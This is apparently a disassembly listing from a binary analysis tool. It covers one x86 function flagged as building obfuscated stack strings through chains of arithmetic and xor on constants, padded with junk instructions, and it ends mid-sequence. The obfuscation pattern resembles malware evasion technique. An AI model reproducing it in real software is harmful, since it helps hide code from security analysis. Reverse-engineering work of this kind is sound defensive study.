Function at 0x47a4c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push esi
mov esi, ecx
lea ecx, [esi + 0x90]
mov edx, edx
mov dword [esi], 0x5ecb2598
sub dword [esi], 0x3959fa2
xor dword [esi], 0x7270b01d
mov edi, edi
sub dword [esi], 0x28165a7
add dword [esi], 0x8fddb1c
sub dword [esi], 0x2fc1ab60
mov dword [esp - 0x2c], 0x29f187bd
mov dword [esi + 4], 0x3b30c5e9
xor dword [esi + 4], 0x29dbc36a
add dword [esi + 4], 0x6fcd7ab
mov dword [esp - 0x2c], 0x52c49817
add dword [esi + 4], 0x4c76f535
sub dword [esi + 4], 0x445289cf
add dword [esi + 4], 0x55920584
xchg edi, edi
mov dword [esi + 8], 0x6c1500a7
sub dword [esi + 8], 0x65196154
add dword [esi + 8], 0x1f081b92
mov dword [esp - 0xc], esi
sub dword [esi + 8], 0x1ea547b7
xor dword [esi + 8], 0x75e732e
mov dword [esi + 0xc], 0x2b9a58c9
xchg ebp, ebp
xor dword [esi + 0xc], 0x29f0bbe4
add dword [esi + 0xc], 0x762e8d1e
sub dword [esi + 0xc], 0x652eac57
mov esi, esi
add dword [esi + 0xc], 0x7d75677
sub dword [esi + 0xc], 0xc8180a2
add dword [esi + 0xc], 0x82bbeb5f
mov dword [esi + 0x10], 0x134aa87f
xchg ebp, ebp
add dword [esi + 0x10], 0x3dd5906d
sub dword [esi + 0x10], 0x11e894da
add dword [esi + 0x10], 0x28850588
xor dword [esi + 0x10], 0x65d2a882
mov dword [esp - 0x2c], ecx
add dword [esi + 0x10], 0xc0f68ee
sub dword [esi + 0x10], 0xe7d6a06
mov dword [esi + 0x14], 0x10c630a7
sub dword [esi + 0x14], 0x25bf648
xchg esp, esp
add dword [esi + 0x14], 0x59497aeb
add dword [esi + 0x14], 0x13e1080b
sub dword [esi + 0x14], 0x38623877
sub dword [esi + 0x14], 0xa6ca222
mov esi, esi
xor dword [esi + 0x14], 0x2dca62cd
mov dword [esi + 0x18], 0x7769cded
sub dword [esi + 0x18], 0x49d3f9dd
mov dword [esp - 0x40], edi
xor dword [esi + 0x18], 0x7823db34
xor dword [esi + 0x18], 0x393b0816
xor dword [esi + 0x18], 0x67c6a261
xchg edi, edi
sub dword [esi + 0x18], 0xb4ba553
mov dword [esi + 0x1c], 0x7fd876e6
sub dword [esi + 0x1c], 0xbefcc8c
xor dword [esi + 0x1c], 0x6a48bec2
xchg ebp, ebp
xor dword [esi + 0x1c], 0x2a3323f7
add dword [esi + 0x1c], 0xa4879d0d
mov dword [esi + 0x20], 0x5ba9b063
sub dword [esi + 0x20], 0x59051d16
mov dword [esp - 0x3c], 0x708233bf
xor dword [esi + 0x20], 0x6bef6f6a
sub dword [esi + 0x20], 0x102c906f
add dword [esi + 0x20], 0x1c97101a
mov dword [esp - 0x3c], 0x7a29d108
sub dword [esi + 0x20], 0x75b67bd2
mov dword [esi + 0x24], 0x72514850
sub dword [esi + 0x24], 0x13496fd2
mov dword [esp - 0x30], esi
add dword [esi + 0x24], 0x114b032e
sub dword [esi + 0x24], 0x94c1852
sub dword [esi + 0x24], 0x2f5d6f9f
mov dword [esp - 0x44], 0x6eccee9a
mov dword [esi + 0x28], 0x6095f779
add dword [esi + 0x28], 0x33ee882
sub dword [esi + 0x28], 0x1f25683c
add dword [esi + 0x28], 0x232bc6a4
mov dword [esp - 0x18], 0x2aa2f992
sub dword [esi + 0x28], 0x38b6c57d
sub dword [esi + 0x28], 0x2f2478e6
mov dword [esi + 0x2c], 0x44d86995
add dword [esi + 0x2c], 0x1d5677e3
mov dword [esp - 0x30], ebx
xor dword [esi + 0x2c], 0x115d196f
sub dword [esi + 0x2c], 0x703ce8fb
add dword [esi + 0x2c], 0x6ddc7ae3
sub dword [esi + 0x2c], 0x44535ff3
mov dword [esp - 0x20], 0x1263dbd8
mov dword [esi + 0x30], 0x6db4cedc
sub dword [esi + 0x30], 0x694fda9
sub dword [esi + 0x30], 0x43fdf584
xor dword [esi + 0x30], 0xcb151ac
mov dword [esp - 0x2c], 0x1609b741
add dword [esi + 0x30], 0x46828b0c
xor dword [esi + 0x30], 0x67513035
xor dword [esi + 0x30], 0x1142253a
mov dword [esi + 0x34], 0x77d4d067
mov dword [esp - 0x44], esp
xor dword [esi + 0x34], 0x125b891e
xor dword [esi + 0x34], 0x2946589d
xor dword [esi + 0x34], 0x5bafe9e7
add dword [esi + 0x34], 0x2ecaf5d5
xchg ebp, ebp
sub dword [esi + 0x34], 0xcc703a8
sub dword [esi + 0x34], 0x13782b4a
mov dword [esi + 0x38], 0x50e4283f
mov dword [esp - 0x38], 0x72d0d58
add dword [esi + 0x38], 0x2aa978cc
sub dword [esi + 0x38], 0x46a21f46
add dword [esi + 0x38], 0x414c0e47
xor dword [esi + 0x38], 0xa8e363
mov dword [esp - 0x18], 0x594e8970
sub dword [esi + 0x38], 0x769f736f
mov dword [esi + 0x3c], 0x79611e93
sub dword [esi + 0x3c], 0x32567e98
mov dword [esp - 0x44], ecx
add dword [esi + 0x3c], 0xbfc7028
sub dword [esi + 0x3c], 0x9cd8416
xor dword [esi + 0x3c], 0x1a7db692
mov dword [esi + 0x40], 0x5018d122
mov dword [esp - 0x40], ebp
add dword [esi + 0x40], 0x2b86568d
xor dword [esi + 0x40], 0x6618e648
add dword [esi + 0x40], 0x56c48157
sub dword [esi + 0x40], 0x29d80162
mov ecx, ecx
sub dword [esi + 0x40], 0x27a3a2ad
xor dword [esi + 0x40], 0x22d09f2f
mov dword [esi + 0x44], 0x69a21887
xor dword [esi + 0x44], 0x370e7944
mov dword [esp - 0x18], ebx
sub dword [esi + 0x44], 0x8ef3d20
xor dword [esi + 0x44], 0x35b9b9a7
xor dword [esi + 0x44], 0x4b3d1ac8
mov dword [esi + 0x48], 0x1b4bf49
xchg ebp, ebp
add dword [esi + 0x48], 0x2de53191
add dword [esi + 0x48], 0x23cdf276
sub dword [esi + 0x48], 0x4e28f4ff
add dword [esi + 0x48], 0x781669d
mov dword [esp - 0x38], 0x2db1f961
xor dword [esi + 0x48], 0x7b46e714
sub dword [esi + 0x48], 0x7786b3fa
mov dword [esi + 0x4c], 0x5545008f
mov dword [esp - 0x10], esp
add dword [esi + 0x4c], 0x1712bf55
sub dword [esi + 0x4c], 0x1cbe7dd0
add dword [esi + 0x4c], 0x1e71fedb
sub dword [esi + 0x4c], 0x1b3073b1
xchg ebp, ebp
sub dword [esi + 0x4c], 0x4a9a5ba2
xor dword [esi + 0x4c], 0x40462c51
mov dword [esi + 0x50], 0x337b97ee
mov dword [esp - 0x18], 0x2d8d3e5
xor dword [esi + 0x50], 0x410cdf82
xor dword [esi + 0x50], 0x6dcbb7b
add dword [esi + 0x50], 0xa1ea297
xor dword [esi + 0x50], 0x103d56b8
mov esi, esi
sub dword [esi + 0x50], 0xf5bd2ca
sub dword [esi + 0x50], 0x5f9bf04c
mov dword [esi + 0x54], 0x2ed60cc
add dword [esi + 0x54], 0x2113cafc
mov ecx, ecx
sub dword [esi + 0x54], 0x2db3039
xor dword [esi + 0x54], 0x5037b15a
sub dword [esi + 0x54], 0x6e85e70b
xor dword [esi + 0x54], 0x201485fd
xchg esp, esp
mov dword [esi + 0x58], 0x4f456e1
xor dword [esi + 0x58], 0x27e70eef
add dword [esi + 0x58], 0x7235c31
add dword [esi + 0x58], 0x42e991a
mov dword [esp - 0x3c], 0x1a776caf
xor dword [esi + 0x58], 0x328afb30
xor dword [esi + 0x58], 0x1cefb669
mov dword [esi + 0x5c], 0x33fbcda7
mov ecx, ecx
sub dword [esi + 0x5c], 0xaefdd00
xor dword [esi + 0x5c], 0x3cacda6d
xor dword [esi + 0x5c], 0x60c6e01
mov esp, esp
add dword [esi + 0x5c], 0x47af535d
sub dword [esi + 0x5c], 0x1c6e91eb
mov dword [esi + 0x60], 0x7e61a87c
sub dword [esi + 0x60], 0x1343c859
mov dword [esp - 0x28], edx
sub dword [esi + 0x60], 0x2f476428
add dword [esi + 0x60], 0x163bb298
xor dword [esi + 0x60], 0x2345cd2c
xchg ecx, ecx
sub dword [esi + 0x60], 0x7157e3bf
mov dword [esi + 0x64], 0x10c56e28
add dword [esi + 0x64], 0x5ef22e0e
xor dword [esi + 0x64], 0x6b5d2884
mov dword [esp - 0x20], 0x463a2a60
add dword [esi + 0x64], 0x5bc6cd97
sub dword [esi + 0x64], 0x286f113b
xor dword [esi + 0x64], 0x1ca653c2
xchg ebp, ebp
sub dword [esi + 0x64], 0x100a2dc1
mov dword [esi + 0x68], 0x6df8609b
sub dword [esi + 0x68], 0x59d11594
xor dword [esi + 0x68], 0x1737e081
xchg esp, esp
add dword [esi + 0x68], 0x75dc69d
add dword [esi + 0x68], 0x5d0dc616
sub dword [esi + 0x68], 0x2036c70d
sub dword [esi + 0x68], 0x4745712c
xchg edx, edx
mov dword [esi + 0x6c], 0x526fc4d1
add dword [esi + 0x6c], 0x29cc1227
xor dword [esi + 0x6c], 0x24aaa33b
mov dword [esp - 0xc], 0x4c1395ce
add dword [esi + 0x6c], 0x24e685e4
sub dword [esi + 0x6c], 0x60eec61d
mov dword [esi + 0x70], 0x1d471451
xor dword [esi + 0x70], 0x4b9dedf6
mov dword [esp - 0x1c], esp
sub dword [esi + 0x70], 0x23436aac
sub dword [esi + 0x70], 0x23c211e0
sub dword [esi + 0x70], 0xfd57d1b
mov ebp, ebp
mov dword [esi + 0x74], 0x18262b55
add dword [esi + 0x74], 0x21cdaa65
add dword [esi + 0x74], 0x13ea45a5
sub dword [esi + 0x74], 0x1c53050a
mov dword [esp - 0x24], esp
add dword [esi + 0x74], 0x24319ca0
mov dword [esi + 0x78], 0x7c076dae
xor dword [esi + 0x78], 0x6ac465cf
xchg ecx, ecx
add dword [esi + 0x78], 0x11af22a9
add dword [esi + 0x78], 0x4db688ce
sub dword [esi + 0x78], 0x67e6f660
mov dword [esp - 0x3c], 0x2d686471
xor dword [esi + 0x78], 0xe41bd78
mov dword [esi + 0x7c], 0x2935ccf8
add dword [esi + 0x7c], 0x3f8db487
mov ebp, ebp
xor dword [esi + 0x7c], 0x528b506b
add dword [esi + 0x7c], 0x3c9765a1
sub dword [esi + 0x7c], 0x5ce675cd
mov esp, esp
add dword [esi + 0x7c], 0x590841dd
sub dword [esi + 0x7c], 0x5efebce
mov dword [esi + 0x80], 0x2e7aae44
mov dword [esp - 0x28], edx
sub dword [esi + 0x80], 0x21ef2a08
add dword [esi + 0x80], 0x5a5bb255
sub dword [esi + 0x80], 0x8ad8af2
sub dword [esi + 0x80], 0x5e39ab9f
xchg edx, edx
mov dword [esi + 0x84], 0x2d0a4a21
sub dword [esi + 0x84], 0x1629828
xor dword [esi + 0x84], 0x96eea0a
xor dword [esi + 0x84], 0x1e0923e5
mov ebx, ebx
add dword [esi + 0x84], 0x274fa76d
xor dword [esi + 0x84], 0x249c2685
add dword [esi + 0x84], 0x9f2ed815
mov dword [esi + 0x88], 0x2f62a9d5
mov dword [esp - 0x10], ecx
xor dword [esi + 0x88], 0x1f1a432c
add dword [esi + 0x88], 0x47b35249
sub dword [esi + 0x88], 0x104d4584
mov dword [esp - 0x28], edi
xor dword [esi + 0x88], 0x5ec87e9
sub dword [esi + 0x88], 0x4624e99
xor dword [esi + 0x88], 0x5dd021be
mov edi, edi
mov dword [esi + 0x8c], 0xd8efd55
xor dword [esi + 0x8c], 0x2cd475ef
xor dword [esi + 0x8c], 0x28ea9cbc
add dword [esi + 0x8c], 0x358ed208
mov dword [esp - 0x18], ebp
sub dword [esi + 0x8c], 0x1be0c5c
add dword [esi + 0x8c], 0x20525f15
add dword [esi + 0x8c], 0x5a04444d
call fcn.00477b60
mov dword [esp - 0xc], ebp
lea ecx, [esi + 0x330]
call fcn.0047caa0
mov dword [esi + 0x4e8], 0xceba680
mov ebp, ebp
add dword [esi + 0x4e8], 0x1a1fe3a3
xor dword [esi + 0x4e8], 0x4edcdac3
xor dword [esi + 0x4e8], 0x4853cb6a
mov esi, esi
sub dword [esi + 0x4e8], 0x21849b8a
mov dword [esi + 0x4ec], 0x24554025
add dword [esi + 0x4ec], 0x5335b7ba
sub dword [esi + 0x4ec], 0x407340e3
mov ecx, ecx
add dword [esi + 0x4ec], 0x38d85570
sub dword [esi + 0x4ec], 0x2051710c
sub dword [esi + 0x4ec], 0x34654566
xor dword [esi + 0x4ec], 0xc120eb74
xchg edx, edx
mov dword [esi + 0x4f0], 0x5193ae0a
xor dword [esi + 0x4f0], 0x2afc4897
sub dword [esi + 0x4f0], 0x2bf3460c
mov dword [esp - 0x44], ebx
add dword [esi + 0x4f0], 0x25e97d50
sub dword [esi + 0x4f0], 0x1bcab6b
sub dword [esi + 0x4f0], 0x73a97276
mov dword [esi + 0x4f4], 0x2516a734
xchg edx, edx
add dword [esi + 0x4f4], 0x35dcaa0a
xor dword [esi + 0x4f4], 0x4288cc9b
xor dword [esi + 0x4f4], 0x185e9370
mov esp, esp
add dword [esi + 0x4f4], 0x56de364
add dword [esi + 0x4f4], 0x67473d51
mov dword [esi + 0x4f8], 0x71154105
mov ecx, ecx
add dword [esi + 0x4f8], 0xc3566d1
sub dword [esi + 0x4f8], 0x79e9045e
xor dword [esi + 0x4f8], 0x309ff5bc
mov esp, esp
sub dword [esi + 0x4f8], 0x2402ae37
add dword [esi + 0x4f8], 0x63c74181
xor dword [esi + 0x4f8], 0x73c2ea0e
mov dword [esi + 0x4fc], 0x4e46ec14
xchg ebp, ebp
add dword [esi + 0x4fc], 0x1c15c6ed
xor dword [esi + 0x4fc], 0x519f073
xor dword [esi + 0x4fc], 0x6394df65
add dword [esi + 0x4fc], 0x44ddf1dc
xchg esi, esi
sub dword [esi + 0x4fc], 0xa8ddcde
xor dword [esi + 0x4fc], 0x7085ed0b
mov dword [esi + 0x500], 0x7106e548
xchg edi, edi
sub dword [esi + 0x500], 0x14fca7c8
sub dword [esi + 0x500], 0x230c7aad
xor dword [esi + 0x500], 0x7366adc
mov ebx, ebx
add dword [esi + 0x500], 0x14c2bd66
sub dword [esi + 0x500], 0x525e6f6d
sub dword [esi + 0x500], 0x22ff608
mov dword [esi + 0x504], 0x7e15c578
mov dword [esp - 0x40], 0x173d5b88
sub dword [esi + 0x504], 0x7686eeff
add dword [esi + 0x504], 0x4c682560
xor dword [esi + 0x504], 0x4e1e3d9f
mov dword [esp - 0x18], 0x7dda0468
sub dword [esi + 0x504], 0x17174847
mov dword [esi + 0x508], 0x937aade
xor dword [esi + 0x508], 0x78c136a2
sub dword [esi + 0x508], 0x550e5e01
mov dword [esp - 0x34], edi
add dword [esi + 0x508], 0x29fe7c83
add dword [esi + 0x508], 0x6b08070
sub dword [esi + 0x508], 0x4d973b6e
xchg esi, esi
mov dword [esi + 0x50c], 0x5ecaa46b
sub dword [esi + 0x50c], 0x1bd332f0
sub dword [esi + 0x50c], 0xae4a54
mov ebp, ebp
sub dword [esi + 0x50c], 0x818e2fa
xor dword [esi + 0x50c], 0xd3c5637b
mov dword [esi + 0x510], 0x43ec467c
xor dword [esi + 0x510], 0x2bc0fa85
mov ebx, ebx
sub dword [esi + 0x510], 0x27c52e26
xor dword [esi + 0x510], 0x4edc584d
sub dword [esi + 0x510], 0xebbd69e
mov dword [esi + 0x514], 0x75a0e00a
xchg ebp, ebp
xor dword [esi + 0x514], 0x1b8a98b
sub dword [esi + 0x514], 0x2f40f524
xor dword [esi + 0x514], 0x1605c6ff
sub dword [esi + 0x514], 0xccb1f83
mov esi, esi
add dword [esi + 0x514], 0x756a0442
mov dword [esi + 0x518], 0x2938aad4
add dword [esi + 0x518], 0x138abf55
add dword [esi + 0x518], 0x30ca833f
mov dword [esp - 0x28], 0x3bdcadb9
sub dword [esi + 0x518], 0x2564dab7
add dword [esi + 0x518], 0x2f55654a
sub dword [esi + 0x518], 0x777e77fb
mov dword [esi + 0x51c], 0x56868d67
mov esp, esp
sub dword [esi + 0x51c], 0x383c3bd3
sub dword [esi + 0x51c], 0x1801e680
add dword [esi + 0x51c], 0x73047e29
mov dword [esp - 0x20], ecx
xor dword [esi + 0x51c], 0x5ce9d7cd
mov dword [esi + 0x520], 0x64f62987
xor dword [esi + 0x520], 0x78a61fd5
add dword [esi + 0x520], 0x2437e064
mov dword [esp - 0xc], 0x69ad3c27
sub dword [esi + 0x520], 0x1c1306e
sub dword [esi + 0x520], 0x3ec6e648
mov dword [esi + 0x524], 0x668d423e
sub dword [esi + 0x524], 0x657c81c2
mov dword [esp - 0x10], edx
add dword [esi + 0x524], 0x34c5f8ad
add dword [esi + 0x524], 0x21da12a5
sub dword [esi + 0x524], 0x3b8b0e1b
mov edx, edx
add dword [esi + 0x524], 0xdf8e805c
mov dword [esi + 0x528], 0x539d82a0
add dword [esi + 0x528], 0x16d496da
xor dword [esi + 0x528], 0x28da5805
mov dword [esp - 0x30], 0x1ef95127
sub dword [esi + 0x528], 0x25168565
sub dword [esi + 0x528], 0x2a15f15
xor dword [esi + 0x528], 0x2b37f9bb
mov esi, esi
sub dword [esi + 0x528], 0x31c7a4be
mov dword [esi + 0x52c], 0x72072df8
sub dword [esi + 0x52c], 0x1f18baac
sub dword [esi + 0x52c], 0x143b3ad4
mov ebp, ebp
sub dword [esi + 0x52c], 0x503d33e
sub dword [esi + 0x52c], 0xb79a297
sub dword [esi + 0x52c], 0x15a82a74
mov dword [esi + 0x530], 0xbce07c2
mov esp, esp
add dword [esi + 0x530], 0x6dfca853
sub dword [esi + 0x530], 0x28a9599
add dword [esi + 0x530], 0x7df7444
mov dword [esp - 0x1c], esp
xor dword [esi + 0x530], 0x7f1f8ec0
mov dword [esi + 0x534], 0x61a357eb
xor dword [esi + 0x534], 0x2a4598f0
mov dword [esp - 0x34], edi
sub dword [esi + 0x534], 0x3e3b3a9b
add dword [esi + 0x534], 0x548c2f08
xor dword [esi + 0x534], 0x1b57af8c
add dword [esi + 0x534], 0x23b091a
mov dword [esp - 0x40], ebp
sub dword [esi + 0x534], 0x4a9e41af
mov dword [esi + 0x538], 0x5c0cb73b
sub dword [esi + 0x538], 0x183d2c0b
add dword [esi + 0x538], 0x6f8cc1c
mov dword [esp - 0x3c], esp
sub dword [esi + 0x538], 0x3a218229
add dword [esi + 0x538], 0x55bb9afa
sub dword [esi + 0x538], 0x31be03b7
xor dword [esi + 0x538], 0x34a46c66
mov esi, esi
mov dword [esi + 0x53c], 0x6485a317
add dword [esi + 0x53c], 0x185c44c4
sub dword [esi + 0x53c], 0x3427b660
xor dword [esi + 0x53c], 0x645845f6
xchg ebx, ebx
xor dword [esi + 0x53c], 0x3809093e
add dword [esi + 0x53c], 0x95fff25a
mov dword [esi + 0x540], 0x7f3ce001
sub dword [esi + 0x540], 0x7bf197ba
xchg edi, edi
add dword [esi + 0x540], 0x201750df
add dword [esi + 0x540], 0xbd03674
sub dword [esi + 0x540], 0x684a95
mov dword [esp - 0x38], 0x362f8864
sub dword [esi + 0x540], 0x10948b80
xor dword [esi + 0x540], 0x1e35f985
mov dword [esi + 0x544], 0x76dd43d
xor dword [esi + 0x544], 0x31c43edb
xchg ebp, ebp
sub dword [esi + 0x544], 0x19e5281a
sub dword [esi + 0x544], 0x679922c
add dword [esi + 0x544], 0x8e2ca315
mov esp, esp
mov dword [esi + 0x548], 0x48db674
add dword [esi + 0x548], 0x792469fc
sub dword [esi + 0x548], 0x52781432
mov dword [esp - 0x18], esp
xor dword [esi + 0x548], 0x710b3705
sub dword [esi + 0x548], 0x5a313b3b
mov dword [esi + 0x54c], 0x7c36e99b
xor dword [esi + 0x54c], 0x6199c5c8
mov dword [esp - 0x20], 0x204205cb
add dword [esi + 0x54c], 0x2ddc4af7
add dword [esi + 0x54c], 0x1bd438d1
sub dword [esi + 0x54c], 0x553bf02f
mov edx, edx
sub dword [esi + 0x54c], 0xdcf4a1
xor dword [esi + 0x54c], 0x5d322006
mov dword [esi + 0x550], 0x46c7aa3d
mov dword [esp - 0x10], 0x1fb3b833
sub dword [esi + 0x550], 0x26c60b6f
xor dword [esi + 0x550], 0x614dc3f0
xor dword [esi + 0x550], 0x79e84441
xor dword [esi + 0x550], 0x38a4197f
mov edi, edi
mov dword [esi + 0x554], 0xeddfc28
xor dword [esi + 0x554], 0xca3ca4
add dword [esi + 0x554], 0x70a5d146
mov dword [esp - 0x3c], 0x42652e73
sub dword [esi + 0x554], 0x74c5dce4
add dword [esi + 0x554], 0x6ef2591e
add dword [esi + 0x554], 0x5e71b358
mov dword [esp - 0x2c], 0x2071d32
mov dword [esi + 0x558], 0x458968fb
sub dword [esi + 0x558], 0x240259bd
add dword [esi + 0x558], 0x5ebe6e9
add dword [esi + 0x558], 0x4a0c992b
xchg edi, edi
xor dword [esi + 0x558], 0x717f8f52
mov dword [esi + 0x55c], 0x7a25d8ee
sub dword [esi + 0x55c], 0x742a4184
mov ebp, ebp
xor dword [esi + 0x55c], 0x3c457c68
xor dword [esi + 0x55c], 0xf549d31
add dword [esi + 0x55c], 0xb06dc5b4
mov dword [esp - 0x10], 0x192d769d
mov dword [esi + 0x560], 0x6f70ec3e
sub dword [esi + 0x560], 0x4981532f
add dword [esi + 0x560], 0x35fc3e35
xor dword [esi + 0x560], 0x553ae76f
mov edx, edx
add dword [esi + 0x560], 0x5657fa09
sub dword [esi + 0x560], 0x295e7eaf
xor dword [esi + 0x560], 0x3bcaab85
mov edx, edx
mov dword [esi + 0x564], 0x481a656b
xor dword [esi + 0x564], 0x792a70b6
add dword [esi + 0x564], 0x21eac15f
mov dword [esp - 0x14], ebx
add dword [esi + 0x564], 0xdb5aad7
add dword [esi + 0x564], 0x55ab541b
mov dword [esi + 0x568], 0x2bc56e8d
xor dword [esi + 0x568], 0x437b7492
mov dword [esp - 0x24], esp
sub dword [esi + 0x568], 0x1959560f
sub dword [esi + 0x568], 0xa38bde4
xor dword [esi + 0x568], 0x57f81dbb
xchg esp, esp
sub dword [esi + 0x568], 0x245ac13
sub dword [esi + 0x568], 0x108e6f84
mov dword [esi + 0x56c], 0x2a473967
xor dword [esi + 0x56c], 0x672aab19
mov dword [esp - 0xc], esi
add dword [esi + 0x56c], 0x216d3023
xor dword [esi + 0x56c], 0x57039489
sub dword [esi + 0x56c], 0xec69096
mov dword [esp - 0x44], esp
add dword [esi + 0x56c], 0x1f96233d
xor dword [esi + 0x56c], 0x6d994079
mov dword [esi + 0x570], 0x17bba482
add dword [esi + 0x570], 0x48bc89ef
mov dword [esp - 0x40], 0x65485717
sub dword [esi + 0x570], 0x4ece533d
xor dword [esi + 0x570], 0x6d012b08
xor dword [esi + 0x570], 0xa98dca8
sub dword [esi + 0x570], 0x76302c94
mov edi, edi
mov dword [esi + 0x574], 0x6347888b
sub dword [esi + 0x574], 0x5d58bd1e
add dword [esi + 0x574], 0x3296fcb4
mov edi, edi
add dword [esi + 0x574], 0xe9a5501
sub dword [esi + 0x574], 0x6cda1f3
add dword [esi + 0x574], 0x2e0c709b
sub dword [esi + 0x574], 0x397b5696
mov dword [esp - 0xc], 0x3882811a
mov dword [esi + 0x578], 0x3665d85d
sub dword [esi + 0x578], 0x5f542d9
sub dword [esi + 0x578], 0x1bfc7f6
xchg ebx, ebx
add dword [esi + 0x578], 0x2c00a192
xor dword [esi + 0x578], 0x360a319
sub dword [esi + 0x578], 0xed0997a
sub dword [esi + 0x578], 0x4b0132bf
mov ecx, ecx
mov dword [esi + 0x57c], 0x6300b32e
add dword [esi + 0x57c], 0x14f4f8ff
xor dword [esi + 0x57c], 0x63aee996
xor dword [esi + 0x57c], 0x24464b5e
mov dword [esp - 0xc], edx
sub dword [esi + 0x57c], 0x2bb19fb0
add dword [esi + 0x57c], 0x2605b1ed
add dword [esi + 0x57c], 0x5745b4bf
xchg ebp, ebp
mov dword [esi + 0x580], 0x9f3e24a
xor dword [esi + 0x580], 0x3ed6a786
add dword [esi + 0x580], 0x77a998
mov ebx, ebx
sub dword [esi + 0x580], 0x26ca2758
xor dword [esi + 0x580], 0x3f839175
add dword [esi + 0x580], 0x38d6d458
sub dword [esi + 0x580], 0x68282dd1
mov ecx, ecx
mov dword [esi + 0x584], 0x1f78bb61
add dword [esi + 0x584], 0x121b5209
add dword [esi + 0x584], 0x3939465b
mov dword [esp - 0x34], ebx
xor dword [esi + 0x584], 0x10306be2
sub dword [esi + 0x584], 0x77c5031
mov eax, esi
mov dword [esi + 0x588], 0x142ecaa3
mov dword [esp - 0x3c], esp
sub dword [esi + 0x588], 0x93c7078
add dword [esi + 0x588], 0x4bd97365
add dword [esi + 0x588], 0xe4608c0
mov dword [esp - 0xc], ebp
sub dword [esi + 0x588], 0x6511d650
mov dword [esi + 0x58c], 0x107d62f2
add dword [esi + 0x58c], 0x46367fbc
xor dword [esi + 0x58c], 0x305c092d
xchg edx, edx
xor dword [esi + 0x58c], 0x2632aee2
xor dword [esi + 0x58c], 0x5c40dcff
add dword [esi + 0x58c], 0x3e3b8301
mov dword [esi + 0x590], 0xfcd7e5c
mov dword [esp - 0x1c], ebx
add dword [esi + 0x590], 0x6962feb7
sub dword [esi + 0x590], 0x3da76285
xor dword [esi + 0x590], 0x77b95cd7
sub dword [esi + 0x590], 0x4c304659
mov ebp, ebp
mov dword [esi + 0x594], 0x166e842e
add dword [esi + 0x594], 0x1b6a51ee
sub dword [esi + 0x594], 0xc045dc6
add dword [esi + 0x594], 0x22922a60
mov dword [esp - 0x1c], ecx
sub dword [esi + 0x594], 0x3b7fb42
add dword [esi + 0x594], 0x1db869d
sub dword [esi + 0x594], 0x44ce5718
mov dword [esi + 0x598], 0x7aa93309
mov ebx, ebx
sub dword [esi + 0x598], 0x4a44ff87
add dword [esi + 0x598], 0x1e56fb08
sub dword [esi + 0x598], 0x40973722
mov dword [esp - 0x40], 0x446fe47d
xor dword [esi + 0x598], 0x314d5b49
xor dword [esi + 0x598], 0x4ba0c91c
xor dword [esi + 0x598], 0x74ce653d
mov dword [esp - 0x10], edi
mov dword [esi + 0x59c], 0x1afe4d8f
add dword [esi + 0x59c], 0x1c7a5d55
add dword [esi + 0x59c], 0xeaecf28
add dword [esi + 0x59c], 0x25df4357
mov dword [esp - 0x40], ebp
add dword [esi + 0x59c], 0x1a09dadf
mov dword [esi + 0x5a0], 0x5ea48cd5
sub dword [esi + 0x5a0], 0x45d78ffe
add dword [esi + 0x5a0], 0x328b9fb5
mov dword [esp - 0x3c], ebx
sub dword [esi + 0x5a0], 0x3725ec64
xor dword [esi + 0x5a0], 0x1432b028
mov dword [esi + 0x5a4], 0x749ff6
add dword [esi + 0x5a4], 0x56d6abd2
mov dword [esp - 0x1c], edx
add dword [esi + 0x5a4], 0x273bfe41
sub dword [esi + 0x5a4], 0x144c7f4a
xor dword [esi + 0x5a4], 0x6bb6eecc
mov dword [esp - 0x34], 0x2216efd4
xor dword [esi + 0x5a4], 0xc86b3416
mov dword [esi + 0x5a8], 0x380ee5a4
add dword [esi + 0x5a8], 0x4fb8b3a
add dword [esi + 0x5a8], 0xc674ddc
mov dword [esp - 0x44], 0x4c7d813
xor dword [esi + 0x5a8], 0x6419eb9d
xor dword [esi + 0x5a8], 0x580c7664
sub dword [esi + 0x5a8], 0x75642343
mov dword [esi + 0x5ac], 0x2664ac98
mov dword [esp - 0x44], esp
xor dword [esi + 0x5ac], 0x6dc8611a
add dword [esi + 0x5ac], 0x612d92a
xor dword [esi + 0x5ac], 0x726dbca6
mov dword [esp - 0x38], esp
add dword [esi + 0x5ac], 0x357c2134
xor dword [esi + 0x5ac], 0x51d05c34
add dword [esi + 0x5ac], 0xeb2b06c9
mov dword [esi + 0x5b0], 0x5176dd3
mov ecx, ecx
add dword [esi + 0x5b0], 0x590445b9
xor dword [esi + 0x5b0], 0x4a789cac
sub dword [esi + 0x5b0], 0x1024da0d
mov dword [esp - 0x24], 0x531035e0
sub dword [esi + 0x5b0], 0x31eb934
xor dword [esi + 0x5b0], 0x67789446
sub dword [esi + 0x5b0], 0x66670f99
mov dword [esi + 0x5b4], 0x617755c5
mov dword [esp - 0x44], 0x3ba7da69
sub dword [esi + 0x5b4], 0x25f58fb7
sub dword [esi + 0x5b4], 0x1c81003b
add dword [esi + 0x5b4], 0x4fb658e0
sub dword [esi + 0x5b4], 0x4c7b4482
mov edx, edx
xor dword [esi + 0x5b4], 0x60fa91e2
mov dword [esi + 0x5b8], 0x5155d517
sub dword [esi + 0x5b8], 0x1f9c5d4f
sub dword [esi + 0x5b8], 0x2f78d8af
mov dword [esp - 0x18], 0xfbe7b19
add dword [esi + 0x5b8], 0x5ed7da96
sub dword [esi + 0x5b8], 0x611879af
mov dword [esi + 0x5bc], 0x609d68e7
sub dword [esi + 0x5bc], 0x1c431800
mov dword [esp - 0x20], 0x78e0bf0b
xor dword [esi + 0x5bc], 0x54ab0145
xor dword [esi + 0x5bc], 0xa53871
xor dword [esi + 0x5bc], 0x54195b48
xor dword [esi + 0x5bc], 0x5760fe16
mov esi, esi
xor dword [esi + 0x5bc], 0x16ac0393
mov dword [esi + 0x5c0], 0x6ebc2d84
sub dword [esi + 0x5c0], 0x2c616940
xor dword [esi + 0x5c0], 0x13ba1078
mov dword [esp - 0x40], 0x35e18203
sub dword [esi + 0x5c0], 0xaae8f06
sub dword [esi + 0x5c0], 0x2fc2443c
sub dword [esi + 0x5c0], 0x177000fa
mov dword [esi + 0x5c4], 0x76bd7044
xchg ebx, ebx
sub dword [esi + 0x5c4], 0x33b0163c
add dword [esi + 0x5c4], 0x2319f01b
add dword [esi + 0x5c4], 0x95f6b75
mov ebx, ebx
sub dword [esi + 0x5c4], 0x30961b48
xor dword [esi + 0x5c4], 0x16ac9576
sub dword [esi + 0x5c4], 0x27638efa
mov dword [esp - 0x10], 0x9db600b
mov dword [esi + 0x5c8], 0x767c155f
sub dword [esi + 0x5c8], 0x384a0ac1
